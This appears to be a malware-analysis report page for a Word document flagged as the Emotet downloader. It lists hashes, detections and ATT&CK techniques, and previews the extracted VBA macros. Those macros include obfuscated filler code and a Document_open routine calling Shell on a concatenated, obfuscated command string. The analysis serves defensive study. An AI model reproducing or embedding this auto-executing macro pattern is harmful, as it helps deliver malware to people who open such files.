Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 5e5bfcf3ed2d7cc1…

MALICIOUS

Office (OLE)

364.8 KB Created: 2018-07-19 21:44:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: c6b3831b443ea7e4bb58c4c3e0d4c445 SHA-1: 77c711ec53f86888da0e7a4ab1dab5c470de1019 SHA-256: 5e5bfcf3ed2d7cc1376cd8c6d7d73e72e4b3e2044add5c1e0187f353138e4a57
222 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open auto-execution macro that utilizes the Shell() function. ClamAV identifies this as Emotet, a known downloader family. The presence of the Shell() call strongly suggests the macro is designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-6877383-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6877383-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45200 bytes
SHA-256: c534ff4fc611c04067427abead556507f9b57e9635ae19e152723e61d58c7851
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "WRjHwGwUEKRjSH"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function IbQIfOAoi()
On Error Resume Next
   wZYKfJ = (JMzwb * pkIom - (99791 / 34393 / (zRMOM + irrjrY - 27002 / 23854)))
   SKFQlR = (mrksj * jASMUw - (16339 / 22460 / (TiiRUQ + CKdGK - 42204 / 54084)))
   WhEaX = (iCtHfZ * tNVmV - (83518 / 42800 / (Tzwjoa + aoNYX - 22914 / 95422)))
   lZrAc = (NkjqQ * lYzkY - (28770 / 6410 / (ItiATc + tHBzv - 93487 / 33680)))
   OwDdbz = (VIAzPT * DqKDW - (55233 / 81798 / (iuiJk + JiRHX - 75797 / 35232)))
End Function
Private Function VJujLAzKzoQNnz()
On Error Resume Next
   IGIoI = (PiVGpf * sKCwr - (72910 / 59433 / (wFAMNf + JcnTCz - 28253 / 93518)))
   whlOX = (BoSvUR * LPlXK - (1704 / 16172 / (vvbYtT + dWdOa - 65484 / 89720)))
   jabwYu = (TsWcDR * EvUnBl - (19755 / 80753 / (LfLvRG + XQLsnj - 48840 / 18512)))
   jvrqqh = (TTdiq * TTXDl - (5414 / 10667 / (Bwtkq + nofTC - 5861 / 3085)))
End Function
Private Function vditGorMj()
On Error Resume Next
   ZapIYU = (umCcd * oBETf - (68112 / 77523 / (OGudW + uJwJF - 85469 / 74759)))
   zkcsI = (WzJam * PmLDMX - (90390 / 20428 / (uiBzK + ntXlVw - 78294 / 13068)))
   qftrG = (DkriWn * sUrhs - (7105 / 10012 / (twYjFm + QhbfcB - 42302 / 84613)))
   HYIji = (mMAcs * ElRmm - (86541 / 2211 / (NEJCl + uRRri - 67237 / 92306)))
End Function
Private Sub Document_open()
On Error Resume Next
   QZFFHU = (KkjbD * CnhhA - (70611 / 34226 / (HjQiwM + VQJNBh - 63062 / 5214)))
   wzzXOV = (NYzEY * fIpGd - (50311 / 77818 / (tiiPC + wqMAY - 48153 / 59494)))
   Bbtfm = (kDkYG * nbwaS - (13033 / 84604 / (SQIMw + WLzfz - 52150 / 60942)))
   bbWCfX = (OSuHR * RUXwF - (994 / 99049 / (BmVJB + zMwwRE - 7249 / 86481)))
Shell "" + PcslqmA + jkpiqwCJpp + CVar("c") + HKoUWOBc + dovVpBVsdiOq + cswjwIlL + bGuqMnz + ZcpTwPFLs + vUAlM + KYlhAjKN + JMiJUPDz + crAFlfN + jrjzlvmr + MuZOTtEpYk + jrzWaZRR + waaZUCLIj + JtZGAXqU + tbYJwrEjw + WVLJmc + aJiEDLCpCEl + kuCsJawrwGL + ZFSmuplTh, 0
   RVYbu = (hNnwzT * Rotdc - (67189 / 59253 / (qzckIn + mrMYX - 95952 / 95901)))
   lZGEYi = (mnTqYE * wsRQPs - (82452 / 14594 / (XZhokK + KDNSH - 68861 / 38193)))
End Sub
Private Function YzucFKz()
On Error Resume Next
   lPLLwD = (cBcsA * QzDtv - (99026 / 72870 / (LKMraG + jSBcpH - 6268 / 94624)))
   UPmMOT = (bLbbc * wiSBaE - (98995 / 37211 / (zcwib + KQMAT - 10539 / 52121)))
   jwrJQO = (UDiCwX * cskUw - (35498 / 17940 / (jrmRv + bJiXu - 35707 / 34782)))
   pDHSI = (DYRmKk * ilcRq - (37781 / 31787 / (XwTQs + viEEnz - 60595 / 90303)))
   SwlbG = (TKzVM * wGuFpN - (92387 / 97745 / (TKpPv + bjrZjh - 89463 / 56854)))
End Function
Private Function AXcTVil()
On Error Resume Next
   cpmScM = (wkZUa * zOtpm - (56284 / 16659 / (mCZjQ + GOpiJJ - 71752 / 9281)))
   KLHkSE = (TGtWT * khVbPq - (75214 / 25451 / (Lbvjvv + QXsjv - 61193 / 53069)))
   thiFZ = (OmVFw * iVOulX - (98562 / 62743 / (iJcIpW + nzEFzD - 41626 / 17904)))
   azudc = (NMSEoB * wHtMh - (44180 / 70631 / (nUmRpw + jBThma - 38454 / 97055)))
End Function
Private Function CosTAmNjHlY()
On Error Resume Next
   uGsZD = (voCjQ * YUFiQU - (90579 / 42575 / (wkfZH + AjNWUi - 13511 / 2096)))
   BWoPr = (sEzoo * SGwfh - (81112 / 55487 / (kHjqk + jOhhkm - 67009 / 93566)))
   JKCPf = (NaMwjf * iXzjS - (73523 / 88348 / (zfwmdX + EBTVq - 89412 / 42443)))
   tZonF = (bCUnC * ciYAB - (1009 / 97406 / (nTwmzo + hnwCP - 11292 / 24078)))
   zLdEfv = (sjCzFz * UdvAh - (49925 / 54770 / (pRHuP + lnBQr - 52341 / 6136)))
   NYztFi = (LDAwKn * QKWOM - (59845 / 11496 / (CNvWKf + oTMzK - 36303 / 89047)))
   jSslid = (IQvDL * jJshk - (42487 / 73222 / (jTHzPj + KcnVXW - 58122 / 88288)))
   HkPbaV = (rmwWbv * YvFTRa - (95992 / 50221 / (mXqNPA + BmMOE - 76543 / 17166)))
End Function


Attribute VB_Name = "oMINpwXi"
Private Function pSwoUSodjcU()
On Error Resume Next
   CUohV = 88683 + 39159 - ScEnj - UUjKY / pwjAit - 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.